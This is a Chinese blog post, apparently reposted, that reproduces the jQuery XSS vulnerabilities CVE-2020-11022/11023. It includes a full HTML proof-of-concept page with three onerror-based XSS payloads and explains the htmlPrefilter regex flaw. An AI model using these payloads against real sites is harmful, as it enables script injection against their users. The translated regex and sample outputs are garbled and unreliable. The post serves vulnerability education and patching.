0


复现CVE-2020-11022/11023(jQuery XSS漏洞)

警告

请勿使用本文提到的内容违反法律
本文不提供任何担保


一、漏洞描述

    由于执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给**jQuery的DOM操作方法(即html()、.append()等)**,从而导致xss漏洞。

二、影响版本

    大于或等于1.2且在3.5.0之前的jQuery版本中

三、漏洞复现

poc如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
    <script src="存在漏洞的jQuery网址"></script>
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert("我是1stPeak的小迷弟")> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x onerror=alert(1)>">
</xmp>

<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x onerror=alert(1)></style>
</xmp>

<div id="div"></div>
</body>
</html>

PoC 1和PoC 2具有相同的根本原因。在中

.html()

,作为参数传递的HTML字符串将传递到 $ .htmlPrefilter()方法。该

htmlPrefilter

处理用于替换自闭合标签等进行到,通过使用以下正则表达式:

<tagname **/>**``<tagname ></tagname>
rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[ww:-] +)[^>] *)\ /> / gi
[。 ..]
htmlPrefilter:function(html){
  return html.replace(rxhtmlTag,“ <$ 1> </ $ 2>”);
}

如果PoC 1的HTML通过此替换,则输出将是:

> $ .htmlPrefilter('<style> <style /> <img src = x onerror = alert(1)>')
<“ <style> <style> </ style> <img src = x onerror = alert(1) >“ 

黄色部分是替换的字符串。由于此替换,

<style />

样式元素内部被替换

<style ></style>

为,结果是,之后的字符串从样式元素中被踢出。之后,

.html()

将替换的HTML分配给

innerHTML

。在这里,

<img ...>

字符串变成了实际的img标签,并触发了onerror事件。顺便说一下,上述正则表达式在3.x之前的jQuery中使用。从3.x开始,使用了另一个经过稍加修改的正则表达式。

rxhtmlTag = / <(?! area | br | col | embed | hr | img | input | link | meta | param)(([[az] [^ \ / \ 0> \ x20 \ t \ r \ n \ f] *)[^>] *)\ /> / gi

此更改引入了另一个XSS向量,该向量可能仅由更多基本元素和属性导致XSS。通过此更改引入了PoC 2的向量。它仅适用于jQuery3.x。在这种情况下,属性值上的 img 字符串被踢出并发生XSS。

> $ .htmlPrefilter('<img alt =“ <x” title =“ /> <img src = x onerror = alert(1)>”>')
<“ <img alt =” <x“ title =”> < / x“> <img src = x onerror = alert(1)>”>“

四、漏洞修复

    升级jquery最新版本

警告

请勿使用本文提到的内容违反法律
本文不提供任何担保

标签: xss 前端

本文转载自: https://blog.csdn.net/xiaofengdada/article/details/125059157
版权归原作者 xiaochuhe. 所有, 如有侵权,请联系我们删除。

“复现CVE-2020-11022/11023(jQuery XSS漏洞)”的评论:

还没有评论